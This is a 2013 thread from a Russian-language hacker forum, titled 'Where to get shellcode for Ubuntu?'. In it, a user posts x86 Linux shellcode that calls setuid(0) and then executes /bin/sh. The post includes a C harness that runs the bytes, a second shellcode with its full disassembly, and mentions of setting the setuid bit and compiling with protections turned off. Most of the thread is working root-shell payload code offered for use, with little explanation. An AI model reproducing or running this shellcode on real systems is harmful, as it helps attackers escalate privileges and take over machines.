Где взять shellcode под Ubuntu?

Discussion in 'Болталка' started by ^NSA^, 23 Feb 2013.

  1. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    Где взять shellcode под Ubuntu?

    в асме пока не селен сам написать не могу :(

    Code:
    char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80";
     
    
    void main () {
            int (*ret)();
            ret = (int(*)()) shellcode;
     
            (int)(*ret)();
    //      exit(0);
    }
    выводит краш.

    пробовал назначать права chmod u+s
    В нете прочитал что стоит защита на переполнение.
     
  2. BlackIce

    BlackIce Elder - Старейшина

    Joined:
    10 Jan 2013
    Messages:
    100
    Likes Received:
    31
    Reputations:
    27
    какой асм лол? у тебя код сишный
     
  3. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    видишь эти строки \x31\xc0\x31\xdb\x31\ они от асма там команды проца
    пример

    Code:
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    Code:
    0x8049540 <shellcode>: xor eax,eax
    0x8049542 <shellcode+2>: xor ebx,ebx
    0x8049544 <shellcode+4>: mov al,0x17
    0x8049546 <shellcode+6>: int 0x80
    0x8049548 <shellcode+8>: jmp 0x8049569 <shellcode+41>
    0x804954a <shellcode+10>: pop esi
    0x804954b <shellcode+11>: mov DWORD PTR [esi+8],esi
    0x804954e <shellcode+14>: xor eax,eax
    0x8049550 <shellcode+16>: mov BYTE PTR [esi+7],al
    0x8049553 <shellcode+19>: mov DWORD PTR [esi+12],eax
    0x8049556 <shellcode+22>: mov al,0xb
    0x8049558 <shellcode+24>: mov ebx,esi
    0x804955a <shellcode+26>: lea ecx,[esi+8]
    0x804955d <shellcode+29>: lea edx,[esi+12]
    0x8049560 <shellcode+32>: int 0x80
    0x8049562 <shellcode+34>: xor ebx,ebx
    0x8049564 <shellcode+36>: mov eax,ebx
    0x8049566 <shellcode+38>: inc eax
    0x8049567 <shellcode+39>: int 0x80
    0x8049569 <shellcode+41>: call 0x804954a <shellcode+10>
    0x804956e <shellcode+46>: das
    0x804956f <shellcode+47>: bound ebp,DWORD PTR [ecx+110]
    0x8049572 <shellcode+50>: das
    0x8049573 <shellcode+51>: jae 0x80495dd
    
    
     
    #3 ^NSA^, 23 Feb 2013
    Last edited: 23 Feb 2013
  4. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    50
    Likes Received:
    22
    Reputations:
    5
  5. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    Спс большое

    просто надо с флаги делать.

     
    #5 ^NSA^, 23 Feb 2013
    Last edited: 24 Feb 2013